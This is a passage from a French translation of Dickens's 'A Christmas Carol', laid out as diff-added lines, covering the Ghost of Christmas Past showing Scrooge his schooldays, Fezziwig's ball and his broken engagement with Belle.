+brillant de clarté, et la neige couvrait la terre.
+
+«Bon Dieu! dit Scrooge en joignant les mains tandis qu'il
+promenait ses regards autour de lui. C'est en ce lieu que j'ai été
+élevé; c'est ici que j'ai passé mon enfance!»
+
+L'esprit le regarda avec bonté. Son doux attouchement, quoiqu'il
+eût été léger et n'eût duré qu'un instant, avait réveillé la
+sensibilité du vieillard. Il avait la conscience d'une foule
+d'odeurs flottant dans l'air, dont chacune était associée avec un
+millier de pensées, d'espérances, de joies et de préoccupations
+oubliées depuis longtemps, bien longtemps!
+
+«Votre lèvre tremble, dit le fantôme. Et qu'est-ce que vous avez
+donc là sur la joue?
+
+-- Rien, dit Scrooge tout bas, d'une voix singulièrement émue; ce
+n'est pas la peur qui me creuse les joues; ce n'est rien, c'est
+seulement une fossette que j'ai là. Menez-moi, je vous prie, où
+vous voulez.
+
+-- Vous vous rappelez le chemin? demanda l'esprit.
+
+-- Me le rappeler! s'écria Scrooge avec chaleur... Je pourrais m'y
+retrouver les yeux bandés.
+
+-- Il est bien étrange alors que vous l'ayez oublié depuis tant
+d'années! observa le fantôme. Avançons.»
+
+Ils marchèrent le long de la route, Scrooge reconnaissant chaque
+porte; chaque poteau, chaque arbre, jusqu'au moment où un petit
+bourg apparut dans le lointain, avec son pont, son église et sa
+rivière au cours sinueux. Quelques poneys aux longs crins se
+montrèrent en ce moment trottant vers eux, montés par des enfants
+qui appelaient d'autres enfants juchés dans des carrioles
+rustiques et des charrettes que conduisaient des fermiers. Tous
+ces enfants étaient très animés, et échangeaient ensemble mille
+cris variés, jusqu'à ce que les vastes campagnes furent si
+remplies de cette musique joyeuse, que l'air mis en vibration
+riait de l'entendre.
+
+«Ce ne sont là que les ombres des choses qui ont été, dit le
+spectre. Elles ne se doutent pas de notre présence.»
+
+Les gais voyageurs avancèrent vers eux; et, à mesure qu'ils
+venaient, Scrooge les reconnaissait et appelait chacun d'eux par
+son nom. Pourquoi était-il réjoui, plus qu'on ne peut dire, de les
+voir? pourquoi son oeil, ordinairement sans expression,
+s'illuminait-il? pourquoi son coeur bondissait-il à mesure qu'ils
+passaient? Pourquoi fut-il rempli de bonheur quand il les entendit
+se souhaiter l'un à l'autre un gai Noël, en se séparant aux
+carrefours et aux chemins de traverse qui devaient les ramener
+chacun à son logis? Qu'était un gai Noël pour Scrooge? Foin du gai
+Noël! Quel bien lui avait-il jamais fait?
+
+«L'école n'est pas encore tout à fait déserte, dit le fantôme. Il
+y reste encore un enfant solitaire, oublié par ses amis.»
+
+Scrooge dit qu'il le reconnaissait, et il soupira.
+
+Ils quittèrent la grand'route pour s'engager dans un chemin creux
+parfaitement connu de Scrooge, et s'approchèrent bientôt d'une
+construction en briques d'un rouge sombre, avec un petit dôme
+surmonté d'une girouette; sous le toit une cloche était suspendue.
+C'était une maison vaste, mais qui témoignait des vicissitudes de
+la fortune; car on se servait peu de ses spacieuses dépendances;
+les murs étaient humides et couverts de mousse, leurs fenêtres
+brisées et les portes délabrées. Des poules gloussaient et se
+pavanaient dans les écuries; les remises et les hangars étaient
+envahis par l'herbe. À l'intérieur, elle n'avait pas gardé plus de
+restes de son ancien état; car, en entrant dans le sombre
+vestibule, et, en jetant un regard à travers les portes ouvertes
+de plusieurs pièces, ils les trouvèrent pauvrement meublées,
+froides et solitaires; il y avait dans l'air une odeur de
+renfermé; tout, en ce lieu, respirait un dénuement glacial qui
+donnait à penser que ses habitants se levaient souvent avant le
+jour pour travailler, et n'avaient pas trop de quoi manger.
+
+Ils allèrent, l'esprit et Scrooge, à travers le vestibule, à une
+porte située sur le derrière de la maison. Elle s'ouvrit devant
+eux, et laissa voir une longue salle triste et déserte, que
+rendaient plus déserte encore des rangées de bancs et de pupitres
+en simple sapin. À l'un de ces pupitres, près d'un faible feu,
+lisait un enfant demeuré tout seul; Scrooge s'assit sur un banc et
+pleura en se reconnaissant lui-même, oublié, délaissé comme il
+avait coutume de l'être alors.
+
+Pas un écho endormi dans la maison, pas un cri des souris se
+livrant bataille derrière les boiseries, pas un son produit par le
+jet d'eau à demi gelé, tombant goutte à goutte dans l'arrière-
+cour, pas un soupir du vent parmi les branches sans feuilles d'un
+peuplier découragé, pas un battement sourd d'une porte de magasin
+vide, non, non, pas le plus léger pétillement du feu qui ne fît
+sentir au coeur de Scrooge sa douce influence, et ne donnât un
+plus libre cours à ses larmes.
+
+L'esprit lui toucha le bras et lui montra l'enfant, cet autre lui-
+même, attentif à sa lecture.
+
+Soudain, un homme vêtu d'un costume étranger, visible, comme je
+vous vois, parut debout derrière la fenêtre, avec une hache
+attachée à sa ceinture, et conduisant par le licou un âne chargé
+de bois.
+
+«Mais c'est Ali-Baba! s'écria Scrooge en extase. C'est le bon
+vieil Ali-Baba, l'honnête homme! Oui, oui, je le reconnais. C'est
+un jour de Noël que cet enfant là-bas avait été laissé ici tout
+seul, et que lui il vint, pour la première fois, précisément
+accoutré comme cela. Pauvre enfant! Et Valentin, dit Scrooge, et
+son coquin de frère, Orson; les voilà aussi. Et quel est son nom à
+celui-là, qui fut déposé tout endormi, presque nu, à la porte de
+Damas; ne le voyez-vous pas? Et le palefrenier du sultan renversé
+sens dessus dessous par les génies; le voilà la tête en bas! Bon!
+traitez-le comme il le mérite; j'en suis bien aise. Qu'avait-il
+besoin d'épouser la princesse!»
+
+Quelle surprise pour ses confrères de la Cité, s'ils avaient pu
+entendre Scrooge dépenser tout ce que sa nature avait d'ardeur et
+d'énergie à s'extasier sur de tels souvenirs, moitié riant, moitié
+pleurant, avec un son de voix des plus extraordinaires, et voir
+l'animation empreinte sur les traits de son visage!
+
+«Voilà le perroquet! continua-t-il; le corps vert et la queue
+jaune, avec une huppe semblable à une laitue sur le haut de la
+tête; le voilà! «Pauvre Robinson Crusoé!» lui criait-il quand il
+revint au logis, après avoir fait le tour de l'île en canot.
+«Pauvre Robinson Crusoé, où avez-vous été, Robinson Crusoé?»
+L'homme croyait rêver, mais non, il ne rêvait pas. C'était le
+perroquet, vous savez. Voilà Vendredi courant à la petite baie
+pour sauver sa vie! Allons, vite, courage, houp!»
+
+Puis, passant d'un sujet à un autre avec une rapidité qui n'était
+point dans son caractère, touché de compassion pour cet autre lui-
+même qui lisait ces contes: «Pauvre enfant!» répéta-t-il, et il se
+mit encore à pleurer.
+
+«Je voudrais... murmura Scrooge en mettant la main dans sa poche
+et en regardant autour de lui après s'être essuyé les yeux avec sa
+manche; mais il est trop tard maintenant.
+
+-- Qu'y a-t-il? demanda l'esprit.
+
+-- Rien, dit Scrooge, rien. Je pensais à un enfant qui chantait un
+Noël hier soir à ma porte; je voudrais lui avoir donné quelque
+chose: voilà tout.»
+
+Le fantôme sourit d'un air pensif, et de la main, lui fit signe de
+se taire en disant: «Voyons un autre Noël.»
+
+À ces mots, Scrooge vit son autre lui-même déjà grandi, et la
+salle devint un peu plus sombre et un peu plus sale. Les panneaux
+s'étaient fendillés, les fenêtres étaient crevassées, des
+fragments de plâtre étaient tombés du plafond, et les lattes se
+montraient à découvert. Mais comment tous ces changements à vue se
+faisaient-ils? Scrooge ne le savait pas plus que vous. Il savait
+seulement que c'était exact, que tout s'était passé comme cela,
+qu'il se trouvait là, seul encore, tandis que tous les autres
+jeunes garçons étaient allés passer les joyeux jours de fête dans
+leurs familles.
+
+Maintenant il ne lisait plus, mais se promenait de long en large
+en proie au désespoir. Scrooge regarda le spectre; puis, avec un
+triste hochement de tête, jeta du côté de la porte un coup d'oeil
+plein d'anxiété.
+
+Elle s'ouvrit; et une petite fille, beaucoup plus jeune que
+l'écolier, entra comme un trait; elle passa ses bras autour de son
+cou et l'embrassa plusieurs fois en lui disant:
+
+«Cher, cher frère! Je suis venue pour vous emmener à la maison,
+cher frère, dit-elle en frappant ses petites mains l'une contre
+l'autre, et toute courbée en deux à force de rire. Vous emmener à
+la maison, à la maison, à la maison!
+
+-- À la maison, petite Fanny? répéta l'enfant.
+
+-- Oui, dit-elle radieuse. À la maison, pour tout de bon, à la
+maison, pour toujours, toujours. Papa est maintenant si bon, en
+comparaison de ce qu'il était autrefois, que la maison est comme
+un paradis! Un de ces soirs, comme j'allais me coucher, il me
+parla avec une si grande tendresse, que je n'ai pas eu peur de lui
+demander encore une fois si vous ne pourriez pas venir à la
+maison; il m'a répondu que oui, que vous le pouviez, et m'a
+envoyée avec une voiture pour vous chercher. Vous allez être un
+homme! ajouta-t-elle en ouvrant de grands yeux; vous ne reviendrez
+jamais ici; mais d'abord, nous allons demeurer ensemble toutes les
+fêtes de Noël, et passer notre temps de la manière la plus joyeuse
+du monde.
+
+-- Vous êtes une vraie femme, petite Fanny!», s'écria le jeune
+garçon.
+
+Elle battit des mains et se mit à rire; ensuite elle essaya de lui
+caresser la tête; mais, comme elle était trop petite, elle se mit
+à rire encore, et se dressa sur la pointe des pieds pour
+l'embrasser. Alors, dans son empressement enfantin, elle commença
+à l'entraîner vers la porte, et lui, il l'accompagnait sans
+regret.
+
+Une voix terrible se fit entendre dans le vestibule: «Descendez la
+malle de master Scrooge, allons!» Et en même temps parut le maître
+en personne, qui jeta sur le jeune M. Scrooge un regard de
+condescendance farouche, et le plongea dans un trouble affreux en
+lui secouant la main en signe d'adieu. Il l'introduisit ensuite,
+ainsi que sa soeur, dans la vieille salle basse, la plus froide
+qu'on ait jamais vue, véritable cave, où les cartes suspendues aux
+murailles, les globes célestes et terrestres dans les embrasures
+de fenêtres, semblaient glacés par le froid. Il leur servit une
+carafe d'un vin singulièrement léger, et un morceau de gâteau
+singulièrement lourd, régalant lui-même de ces friandises le jeune
+couple, en même temps qu'il envoyait un domestique de chétive
+apparence pour offrir «quelque chose» au postillon, qui répondit
+qu'il remerciait bien monsieur, mais que, si c'était le même vin
+dont il avait déjà goûté auparavant, il aimait mieux ne rien
+prendre. Pendant ce temps-là on avait attaché la malle de maître
+Scrooge sur le haut de la voiture; les enfants dirent adieu de
+très grand coeur au maître, et, montant en voiture, ils
+traversèrent gaiement l'allée du jardin; les roues rapides
+faisaient jaillir, comme des flots d'écume, la neige et le givre
+qui recouvraient les sombres feuilles des arbres.
+
+«Ce fut toujours une créature délicate qu'un simple souffle aurait
+pu flétrir, dit le spectre... Mais elle avait un grand coeur.
+
+-- Oh! oui, s'écria Scrooge. Vous avez raison. Ce n'est pas moi
+qui dirai le contraire, esprit, Dieu m'en garde!
+
+-- Elle est morte mariée, dit l'esprit, et a laissé deux enfants,
+je crois.
+
+-- Un seul, répondit Scrooge.
+
+-- C'est vrai, dit le spectre, votre neveu.»
+
+Scrooge parut mal à l'aise et répondit brièvement: «Oui.»
+
+Quoiqu'ils n'eussent fait que quitter la pension en ce moment, ils
+se trouvaient déjà dans les rues populeuses d'une ville, où
+passaient et repassaient des ombres humaines, où des ombres de
+charrettes et de voitures se disputaient le pavé, où se
+rencontraient enfin le bruit et l'agitation d'une véritable ville.
+On voyait assez clairement, à l'étalage des boutiques, que là
+aussi on célébrait le retour de Noël; mais c'était le soir, et les
+rues étaient éclairées.
+
+Le spectre s'arrêta à la porte d'un certain magasin, et demanda à
+Scrooge s'il le reconnaissait.
+
+«Si je le reconnais! dit Scrooge. N'est-ce pas ici que j'ai fait
+mon apprentissage?»
+
+Ils entrèrent. À la vue d'un vieux monsieur en perruque galloise,
+assis derrière un pupitre si élevé, que, si le gentleman avait eu
+deux pouces de plus, il se serait cogné la tête contre le plafond,
+Scrooge s'écria en proie à une grande excitation:
+
+«Mais c'est le vieux Fezziwig! Dieu le bénisse! C'est Fezziwig
+ressuscité!»
+
+Le vieux Fezziwig posa sa plume et regarda l'horloge qui marquait
+sept heures. Il se frotta les mains, rajusta son vaste gilet, rit
+de toutes ses forces, depuis la plante des pieds jusqu'à la pointe
+des cheveux, et appela d'une voix puissante, sonore, riche, pleine
+et joviale:
+
+«Holà! oh! Ebenezer! Dick!»
+
+L'autre Scrooge, devenu maintenant un jeune homme, entra
+lestement, accompagné de son camarade d'apprentissage.
+
+«C'est Dick Wilkins, pour sûr! dit Scrooge au fantôme... Oui,
+c'est lui; miséricorde! le voilà. Il m'était très attaché, le
+pauvre Dick! ce bien cher Dick!
+
+-- Allons, allons, mes enfants! s'écria Fezziwig, on ne travaille
+plus ce soir. C'est la veille de Noël, Dick. C'est Noël, Ebenezer!
+Vite, mettons les volets, cria le vieux Fezziwig en faisant
+gaiement claquer ses mains. Allons tôt! comment! ce n'est pas
+encore fait?»
+
+Vous ne croiriez jamais comment ces deux gaillards se mirent à
+l'ouvrage! Ils se précipitèrent dans la rue avec les volets, un,
+deux, trois;... les mirent en place, ... quatre, cinq, six;...
+posèrent les barres et les clavettes;... sept, huit, neuf, ...et
+revinrent avant que vous eussiez pu compter jusqu'à douze,
+haletants comme des chevaux de course.
+
+«Ohé! oh! s'écria le vieux Fezziwig descendant de son pupitre avec
+une merveilleuse agilité. Débarrassons, mes enfants, et faisons de
+la place ici! Holà, Dick! Allons, preste, Ebenezer!»
+
+Débarrasser! ils auraient même tout déménagé s'il avait fallu,
+sous les yeux du vieux Fezziwig. Ce fut fait en une minute. Tout
+ce qui était transportable fut enlevé comme pour disparaître à
+tout jamais de la vie publique, le plancher balayé et arrosé, les
+lampes apprêtées, un tas de charbon jeté sur le feu, et le magasin
+devint une salle de bal aussi commode, aussi chaude, aussi sèche,
+aussi brillante qu'on pouvait le désirer pour une soirée d'hiver.
+
+Vint alors un ménétrier avec son livre de musique. Il monta au
+haut du grand pupitre, en fit un orchestre et produisit des
+accords réjouissants comme la colique. Puis entra Mme Fezziwig, un
+vaste sourire en personne; puis entrèrent les trois miss Fezziwig,
+radieuses et adorables; puis entrèrent les six jeunes poursuivants
+dont elles brisaient les coeurs; puis entrèrent tous les jeunes
+gens et toutes les jeunes filles employés dans le commerce de la
+maison; puis entra la servante avec son cousin le boulanger; puis
+entra la cuisinière avec l'ami intime de son frère, le marchand de
+lait; puis entra le petit apprenti d'en face, soupçonné de ne pas
+avoir assez de quoi manger chez son maître; il se cachait derrière
+la servante du numéro 15, à laquelle sa maîtresse, le fait était
+prouvé, avait tiré les oreilles. Ils entrèrent tous, l'un après
+l'autre, quelques-uns d'un air timide, d'autres plus hardiment,
+ceux-ci avec grâce, ceux-là avec gaucherie, qui poussant, qui
+tirant; enfin tous entrèrent de façon ou d'autre et n'importe
+comment. Ils partirent tous, vingt couples à la fois, se tenant
+par la main et formant une ronde. La moitié se porte en avant,
+puis revient en arrière; c'est au tour de ceux-ci à se balancer en
+cadence, c'est au tour de ceux-là à entraîner le mouvement; puis
+ils recommencent tous à tourner en rond plusieurs fois, se
+groupant, se serrant, se poursuivant les uns les autres: le vieux
+couple n'est jamais à sa place, et les jeunes couples repartent
+avec vivacité, quand ils l'ont mis dans l'embarras, puis, enfin,
+la chaîne est rompue et les danseurs se trouvent sans vis-à-vis.
+Après ce beau résultat, le vieux Fezziwig, frappant des mains pour
+suspendre la danse, s'écria: «C'est bien!» et le ménétrier plongea
+son visage échauffé dans un pot de porter, spécialement préparé à
+cette intention. Mais, lorsqu'il reparut, dédaignant le repos, il
+recommença de plus belle, quoiqu'il n'y eût pas encore de
+danseurs, comme si l'autre ménétrier avait été reporté chez lui,
+épuisé, sur un volet de fenêtre, et que ce fut un nouveau musicien
+qui fut venu le remplacer, résolu à vaincre ou à périr.
+
+Il y eut encore des danses, et le jeu des gages touchés; puis
+encore des danses, un gâteau, du négus, une énorme pièce de rôti
+froid, une autre de bouilli froid, des pâtés au hachis et de la
+bière en abondance. Mais le grand effet de la soirée, ce fut après
+le rôti et le bouilli, quand le ménétrier (un fin matois,
+remarquez bien, un diable d'homme qui connaissait bien son
+affaire: ce n'est ni vous ni moi qui aurions pu lui en remontrer!)
+commença à jouer «Sir Robert de Coverley». Alors s'avança le vieux
+Fezziwig pour danser avec Mme Fezziwig. Ils se placèrent en tête
+de la danse. En voilà de la besogne! vingt-trois ou vingt-quatre
+couples à conduire, et des gens avec lesquels il n'y avait pas à
+badiner, des gens qui voulaient danser et ne savaient ce que
+c'était que d'aller le pas.
+
+Mais quand ils auraient bien été deux ou trois fois aussi
+nombreux, quatre fois même, le vieux Fezziwig aurait été capable
+de leur tenir tête, Mme Fezziwig pareillement. Quant à elle,
+c'était sa digne compagne, dans toute l'étendue du mot. Si ce
+n'est pas là un assez bel éloge, qu'on m'en fournisse un autre, et
+j'en ferai mon profit. Les mollets de Fezziwig étaient
+positivement comme deux astres. C'étaient des lunes qui se
+multipliaient dans toutes les évolutions de la danse. Ils
+paraissaient, disparaissaient, reparaissaient de plus belle. Et
+quand le vieux Fezziwig et Mme Fezziwig eurent exécuté toute la
+danse: _avancez et reculez, tenez votre danseuse par la main,
+balancez, saluez; le tire-bouchon; enfilez l'aiguille et reprenez
+vos places;_ Fezziwig faisait des entrechats si lestement, qu'il
+semblait jouer du flageolet avec ses jambes, et retombait ensuite
+en place sur ses pieds droit comme un I.
+
+Quand l'horloge sonna onze heures, ce bal domestique prit fin.
+M. et Mme Fezziwig allèrent se placer de chaque côté de la porte,
+et secouant amicalement les mains à chaque personne
+individuellement, lui aux hommes, elle aux femmes, à mesure que
+l'on sortait, ils leur souhaitèrent à tous un joyeux Noël.
+Lorsqu'il ne resta plus que les deux apprentis, ils leur firent
+les mêmes adieux, puis les voix joyeuses se turent, et les jeunes
+gens regagnèrent leurs lits placés sous un comptoir de l'arrière-
+boutique.
+
+Pendant tout ce temps, Scrooge s'était agité comme un homme qui
+aurait perdu l'esprit. Son coeur et son âme avaient pris part à
+cette scène avec son autre lui-même. Il reconnaissait tout, se
+rappelait tout, jouissait de tout et éprouvait la plus étrange
+agitation. Ce ne fut plus que quand ces brillants visages de son
+autre lui-même et de Dick eurent disparu à leurs yeux, qu'il se
+souvint du fantôme et s'aperçut que ce dernier le considérait très
+attentivement, tandis que la lumière dont sa tête était surmontée
+brillait d'une clarté de plus en plus vive.
+
+«Il faut bien peu de chose, dit le fantôme, pour inspirer à ces
+sottes gens tant de reconnaissance...
+
+-- Peu de chose! répéta Scrooge.»
+
+L'esprit lui fit signe d'écouter les deux apprentis qui
+répandaient leurs coeurs en louanges sur Fezziwig, puis ajouta,
+lorsqu'il eut obéi:
+
+«Eh quoi! voilà-t-il pas grand'chose? Il a dépensé quelques livres
+sterling de votre argent mortel; trois ou quatre peut-être. Cela
+vaut-il la peine de lui donner tant d'éloges?
+
+-- Ce n'est pas cela, dit Scrooge excité par cette remarque, et
+parlant, sans s'en douter, comme son autre lui-même et non pas
+comme le Scrooge d'aujourd'hui. Ce n'est pas cela, esprit.
+Fezziwig a le pouvoir de nous rendre heureux ou malheureux; de
+faire que notre service devienne léger ou pesant, un plaisir ou
+une peine. Que ce pouvoir consiste en paroles et en regards, en
+choses si insignifiantes, si fugitives qu'il est impossible de les
+additionner et de les aligner en compte, eh bien, qu'est-ce que
+cela fait? le bonheur qu'il nous donne est tout aussi grand que
+s'il coûtait une fortune.»
+
+Scrooge surprit le regard perçant de l'esprit et s'arrêta.
+
+«Qu'est-ce que vous avez? demanda le fantôme.
+
+-- Rien de particulier, répondit Scrooge.
+
+-- Vous avez l'air d'avoir quelque chose, insista le spectre.
+
+-- Non, dit Scrooge, non. Seulement j'aimerais à pouvoir dire en
+ce moment un mot ou deux à mon commis. Voilà tout.»
+
+Son autre lui-même éteignit les lampes au moment où il exprimait
+ce désir; et Scrooge et le fantôme se trouvèrent de nouveau côte à
+côte en plein air.
+
+«Mon temps s'écoule, observa l'esprit... Vite!»
+
+Cette parole n'était point adressée à Scrooge ou à quelqu'un qu'il
+pût voir, mais elle produisit un effet immédiat, car Scrooge se
+revit encore. Il était plus âgé maintenant, un homme dans la fleur
+de l'âge. Son visage n'avait point les traits durs et sévères de
+sa maturité; mais il avait commencé à porter les marques de
+l'inquiétude et de l'avarice. Il y avait dans son regard une
+mobilité ardente, avide, inquiète, qui indiquait la passion qui
+avait pris racine en lui: on devinait déjà de quel coté allait se
+projeter l'ombre de l'arbre qui commençait à grandir. Il n'était
+pas seul, il se trouvait au contraire à côté d'une belle jeune
+fille vêtue de deuil, dont les yeux pleins de larmes brillaient à
+la lumière du spectre de Noël passé.
+
+«Peu importe, disait-elle doucement, à vous du moins. Une autre
+idole a pris ma place, et, si elle peut vous réjouir et vous
+consoler plus tard, comme j'aurais essayé de le faire, je n'ai pas
+autant de raison de m'affliger.
+
+-- Quelle idole a pris votre place? répondit-il.
+
+-- Le veau d'or.
+
+-- Voilà bien l'impartialité du monde! dit-il. Il n'y a rien qu'il
+traite plus durement que la pauvreté; et il n'y a rien qu'il fasse
+profession de condamner avec autant de sévérité que la poursuite
+de la richesse!
+
+-- Vous craignez trop l'opinion du monde, répliquait la jeune
+fille avec douceur. Vous avez sacrifié toutes vos espérances à
+celle d'échapper un jour à son mépris sordide. J'ai vu vos plus
+nobles aspirations disparaître une à une, jusqu'à ce que la
+passion dominante, le lucre, vous ait absorbé. N'ai-je pas raison?
+
+-- Eh bien! quoi? reprit-il. Lors même que je serais devenu plus
+raisonnable en vieillissant, après? Je ne suis pas changé à votre
+égard.»
+
+Elle secoua la tête.
+
+«Suis-je changé?
+
+-- Notre engagement est bien ancien. Nous l'avons pris ensemble
+quand nous étions tous les deux pauvres et contents de notre état,
+en attendant le jour où nous pourrions améliorer notre fortune en
+ce monde par notre patiente industrie. Vous avez bien changé.
+Quand cet engagement fut pris, vous étiez un autre homme.
+
+-- J'étais un enfant, s'écria-t-il avec impatience.
+
+-- Votre propre conscience vous dit que vous n'étiez point alors
+ce que vous êtes aujourd'hui, répliqua-t-elle. Pour moi, je suis
+la même. Ce qui pouvait nous promettre le bonheur, quand nous
+n'avions qu'un coeur, n'est plus qu'une source de peines depuis
+que nous en avons deux. Combien de fois et avec quelle amertume
+j'y ai pensé, je ne veux pas vous le dire. Il suffit que j'y aie
+pensé, et que je puisse à présent vous rendre votre parole.
+
+-- Ai-je jamais cherché à la reprendre?
+
+-- De bouche, non, jamais.
+
+-- Comment, alors?
+
+-- En changeant du tout au tout. Votre humeur n'est plus la même,
+ni l'atmosphère au milieu de laquelle vous vivez; ni l'espérance
+qui était le but principal de votre vie. Si cet engagement n'eût
+jamais existé entre nous, dit la jeune fille, le regardant avec
+douceur, mais avec fermeté, dites-le-moi, rechercheriez-vous ma
+main aujourd'hui? Oh! non.»
+
+Il parut prêt à céder en dépit de lui-même à cette supposition
+trop vraisemblable. Cependant il ne se rendit pas encore:
+
+«Vous ne le pensez pas, dit-il.
+
+-- Je serais bien heureuse de penser autrement si je le pouvais,
+répondit-elle; Dieu le sait! Pour que je me sois rendue moi-même à
+une vérité aussi pénible, il faut bien qu'elle ait une force
+irrésistible. Mais, si vous étiez libre aujourd'hui ou demain,
+comme hier, puis-je croire que vous choisiriez pour femme une
+fille sans dot, vous qui, dans vos plus intimes confidences, alors
+que vous lui ouvriez votre coeur avec le plus d'abandon, ne
+cessiez de peser toutes choses dans les balances de l'intérêt, et
+de tout estimer par le profit que vous pouviez en retirer! ou si,
+venant à oublier un instant, à cause d'elle, les principes qui
+font votre seule règle de conduite, vous vous arrêtiez à ce choix,
+ne sais-je donc pas que vous ne tarderiez point à le regretter et
+à vous en repentir? j'en suis convaincue; c'est pourquoi je vous
+rends votre liberté, de grand coeur, à cause même de l'amour que
+je vous portais autrefois, quand vous étiez si différent de ce que
+vous êtes aujourd'hui.»
+
+Il allait parler; mais elle continua en détournant les yeux:
+
+«Peut-être... mais non, disons plutôt: sans aucun doute, la
+mémoire du passé m'autorise à l'espérer, vous souffrirez de ce
+parti. Mais encore un peu, bien peu de temps, et vous bannirez
+avec empressement ce souvenir importun comme un rêve inutile et
+fâcheux dont vous vous féliciterez d'être délivré. Puisse la
+nouvelle existence que vous aurez choisie vous rendre heureux!»
+
+Elle le quitta, et ils se séparèrent.
+
+«Esprit, dit Scrooge, ne me montrez plus rien! Ramenez-moi à la
+maison. Pourquoi vous plaisez-vous à me tourmenter?
+
+-- Encore une ombre! cria le spectre.
+
+-- Non, plus d'autres! dit Scrooge; je n'en veux pas voir
+davantage. Ne me montrez plus rien!...»
+
+Mais le fantôme impitoyable l'étreignit entre ses deux bras et le
+força à considérer la suite des événements.
+
+Ils se trouvèrent tout à coup transportés dans un autre lieu où
+une scène d'un autre genre vint frapper leurs regards; c'était une
+chambre, ni grande, ni belle, mais agréable et commode. Près d'un
+bon feu d'hiver était assise une belle jeune fille, qui
+ressemblait tellement à la dernière, que Scrooge la prit pour
+elle, jusqu'à ce qu'il aperçût cette dernière devenue maintenant
+une grave mère de famille, assise vis-à-vis de sa fille. Le bruit
+qui se faisait dans cette chambre était assourdissant, car il y
+avait là plus d'enfants que Scrooge, dans l'agitation extrême de
+son esprit, n'en pouvait compter; et, bien différents de la
+joyeuse troupe dont parle le poème, au lieu de quarante enfants
+silencieux comme s'il n'y en avait eu qu'un seul, chacun d'eux, au
+contraire, se montrait bruyant et tapageur comme quarante. La
+conséquence inévitable d'une telle situation était un vacarme dont
+rien ne saurait donner une idée; mais personne ne semblait s'en
+inquiéter. Bien plus, la mère et la fille en riaient de tout leur
+coeur et s'en amusaient beaucoup. Celle-ci, ayant commencé à se
+mêler à leurs jeux, fut aussitôt mise au pillage par ces petits
+brigands qui la traitèrent sans pitié. Que n'aurais-je pas donné
+pour être l'un d'eux! Quoique assurément je ne me fusse jamais
+conduit avec tant de rudesse, oh! non! Je n'aurais pas voulu, pour
+tout l'or du monde, avoir emmêlé si rudement, ni tiré avec tant de
+brutalité ces cheveux si bien peignés; et quant au charmant petit
+soulier, je me serais bien gardé de le lui ôter de force, Dieu me
+bénisse! quand il se serait agi de sauver ma vie. Pour ce qui est
+de mesurer sa taille en jouant comme ils le faisaient sans
+scrupule, ces petits audacieux, je ne l'aurais certainement pas
+osé non plus; j'aurais craint qu'en punition de ce sacrilège, mon
+bras ne fût condamné à s'arrondir toujours, sans pouvoir se
+redresser jamais. Et pourtant, je l'avoue, j'aurais bien voulu
+toucher ses lèvres, lui adresser des questions afin qu'elle fût
+forcée de les ouvrir pour me répondre, fixer mes regards sur les
+cils de ses yeux baissés, sans la faire rougir; dénouer sa
+chevelure ondoyante dont une seule boucle eût été pour moi le plus
+précieux de tous les souvenirs; bref, j'aurais voulu, je le
+confesse, qu'il me fût permis de jouir auprès d'elle des
+privilèges d'un enfant, et, cependant, demeurer assez homme pour
+en apprécier toute la valeur.
+
+Mais voilà qu'en ce moment on entendit frapper à la porte, et il
+s'ensuivit immédiatement un tel tumulte et une telle confusion,
+que ce groupe aussi bruyant qu'animé qui l'entourait la porta
+violemment, sans qu'elle put s'en défendre, la figure riante et
+les vêtements en désordre, du côté de la porte, au-devant du père
+qui rentrait suivi d'un homme chargé de joujoux et de cadeaux de
+Noël. Qu'on se figure les cris, les batailles, les assauts livrés
+au commissionnaire sans défense! C'est à qui l'escaladera avec des
+chaises en guise d'échelles, pour fouiller dans ses poches, lui
+arracher les petits paquets enveloppés de papier gris, le saisir
+par la cravate, se suspendre à son cou, lui distribuer, en signe
+d'une tendresse que rien ne peut réprimer, force coups de poing
+dans le dos, force coups de pied dans les os des jambes. Et puis,
+quels cris de joie et de bonheur accueillent l'ouverture de chaque
+paquet! Quel effet produit la fâcheuse nouvelle que le marmot a
+été pris sur le fait, mettant dans sa bouche une poêle à frire du
+petit ménage, et qu'il est plus que suspecté d'avoir avalé un
+dindon en sucre, collé sur un plat de bois! Quel immense
+soulagement de reconnaître que c'est une fausse alarme! Leur joie,
+leur reconnaissance, leur enthousiasme, tout cela ne saurait se
+décrire. Enfin, l'heure étant arrivée, peu à peu les enfants, avec
+leurs émotions, sortent du salon l'un après l'autre, montent
+l'escalier quatre à quatre jusqu'à leur chambre située au dernier
+étage, où ils se couchent, et le calme renaît.
+
+Alors Scrooge redoubla d'attention quand le maître du logis, sur
+lequel s'appuyait tendrement sa fille, s'assit entre elle et sa
+mère, au coin du feu; et quand il vint à penser qu'une autre
+créature semblable, tout aussi gracieuse, tout aussi belle, aurait
+pu l'appeler son père, et faire un printemps du triste hiver de sa
+vie, ses yeux se remplirent de larmes.
+
+«Bella, dit le mari se tournant vers sa femme avec un sourire,
+j'ai vu ce soir un de vos anciens amis.
+
+-- Qui donc?
+
+-- Devinez!
+
+-- Comment le puis-je?... Mais, j'y suis, ajouta-t-elle aussitôt
+en riant comme lui. C'est M. Scrooge.
+
+-- Lui-même. Je passais devant la fenêtre de son comptoir; et,
+comme les volets n'étaient point fermés et qu'il avait de la
+lumière, je n'ai pu m'empêcher de le voir. Son associé se meurt,
+dit-on; il était donc là seul comme toujours, je pense, tout seul
+au monde.
+
+-- Esprit, dit Scrooge d'une voix saccadée, éloignez-moi d'ici.
+
+-- Je vous ai prévenu, répondit le fantôme, que je vous montrerais
+les ombres de ce qui a été; ne vous en prenez pas à moi si elles
+sont ce qu'elles sont, et non autre chose.
+
+-- Emmenez-moi! s'écria Scrooge, je ne puis supporter davantage ce
+spectacle!»
+
+Il se tourna vers l'esprit, et voyant qu'il le regardait avec un
+visage dans lequel, par une singularité étrange, se retrouvaient
+des traits épars de tous les visages qu'il lui avait montrés, il
+se jeta sur lui.
+
+«Laissez-moi! s'écria-t-il; ramenez-moi, cessez de m'obséder!»
+
+Dans la lutte, si toutefois c'était une lutte, car le spectre,
+sans aucune résistance apparente, ne pouvait être ébranlé par
+aucun effort de son adversaire, Scrooge observa que la lumière de
+sa tête brillait, de plus en plus éclatante. Rapprochant alors
+dans son esprit cette circonstance de l'influence que le fantôme
+exerçait sur lui, il saisit l'éteignoir et, par un mouvement
+soudain, le lui enfonça vivement sur la tête.
+
+L'esprit s'affaissa tellement sous ce chapeau fantastique, qu'il
+disparut presque en entier; mais Scrooge avait beau peser sur lui
+de toutes ses forces, il ne pouvait venir à bout de cacher la
+lumière qui s'échappait de dessous l'éteignoir et rayonnait autour
+de lui sur le sol.
+
